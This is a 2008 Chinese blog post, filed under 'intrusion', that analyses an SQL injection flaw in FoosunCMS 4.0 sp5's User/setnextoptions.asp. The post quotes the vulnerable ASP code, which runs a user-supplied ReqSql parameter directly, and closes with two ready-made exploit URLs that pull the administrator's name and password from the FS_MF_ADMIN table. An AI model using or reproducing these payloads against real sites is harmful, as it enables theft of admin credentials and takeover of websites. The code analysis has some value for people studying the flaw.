百度空间 | 百度首页 
               
 
查看文章
 
风讯注入漏洞
2008-07-01 14:09
By:Xiao.K
Site: Blog.sadk.org
Date:08.02.14
涉及版本:4.0 sp5
分析如下:
———————————————–User/setnextoptions.asp——————————————-
‘注意ReqSql
response.Charset=”gb2312″
SelectName = NoSqlHack(trim(request(”SelectName”)))
ReqSql = trim(request(”ReqSql”))
EquValue = NoSqlHack(trim(request(”EquValue”)))
sType = trim(request(”sType”))
if not isnumeric(sType) then sType = 1
if SelectName = “” then SelectName = “NoName_Sys” ‘看看你是否为空
if instr(lcase(ReqSql),”select “)=0 then
response.Write(”系统错误,请联系管理员。”)
response.End()
————————————
LCase 函数
返回字符串的小写形式
————————————–
InStr 函数
返回某字符串在另一字符串中第一次出现的位置。
InStr([start, ]string1, string2[, compare])
参数
start
可选项。数值表达式,用于设置每次搜索的开始位置。如果省略,将从第一个字符的位置开始搜索。如果 start 包含 Null,则会出现错误。如果已指定 compare,则必须要有 start 参数。
string1
必选项。接受搜索的字符串表达式。
string2
必选项。要搜索的字符串表达式。
———————————————————————–
如果没有select则报错~
end if
optionstr = Get_NextOptions(ReqSql,EquValue,sType) ‘传到Get_NextOptions
if optionstr = “” then optionstr = “[无]”
response.Write(”
“&vbNewLine) response.Write(”不限制“&vbNewLine) response.Write(optionstr) response.Write(”

“&vbNewLine)

———————————————————————————————————————-
我们关注下Function Get_NextOptions
———————————————————————————————————————-
Function Get_NextOptions(This_Fun_Sql,EquValue,Get_Type)
”’This_Fun_Sql 传入sql语句,EquValue与数据库相同的值如果是则加上selected,Get_Type=1为
Dim Get_Html,This_Fun_Rs,Text
On Error Resume Next
if instr(This_Fun_Sql,”FS_ME_”)>0 then ’如果有FS_ME_着执行User_Conn.execute
set This_Fun_Rs = User_Conn.execute(This_Fun_Sql)
else
set This_Fun_Rs = Conn.execute(This_Fun_Sql)’如果没有FS_ME_着执行User_Conn.execute
end if
If Err.Number <> 0 then response.Redirect(”error.asp?ErrCodes=

“&Err.description&”
抱歉,传入的Sql语句有问题.或表和字段不存在.
“)
do while not This_Fun_Rs.eof
select case cstr(Get_Type)
case “1″

if instr(This_Fun_Sql,”,”) >0 then
Text = This_Fun_Rs(1)
else
Text = This_Fun_Rs(0)
end if
if trim(EquValue) = trim(This_Fun_Rs(0)) then
Get_Html = Get_Html & ““&Text&”“&vbNewLine
else
Get_Html = Get_Html & ““&Text&”“&vbNewLine
end if
case else
exit do : Get_FildValue_List = “Get_Type值传入错误“&vbNewLine : exit Function
end select
This_Fun_Rs.movenext
loop
This_Fun_Rs.close
Get_NextOptions = Get_Html
End Function
———————————————————————————————————————-
小K来解说下
ReqSql传入字符,经过简单的处理,把字符传入Get_NextOptions,对是否有FS_ME判断……
当有FS_ME就会去admin的数据库执行查询(因为他有多个数据库……),如果没有就会去user的数据库执行查询。
FS_ME是啥?
FS_ME是字段名FS_ME_Admin的前半部分
可以看出
我们要干啥只要输入sql语句就可以了,给几个例子。
---------------------------------------
http://127.0.0.1/User/setnextopt ... p;ReqSql=select%201,ADMIN_pass_word,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%20from%20FS_MF_ADMIN%20where%20id=1
————————

setnextoptions.asp?EquValue=1&ReqSql=select%201,ADMIN_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%20from%20FS_MF_ADMIN%20where%20id=1


类别:入侵 | 添加到搜藏 | 浏览() | 评论 (0)
 
最近读者:
 
网友评论:
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu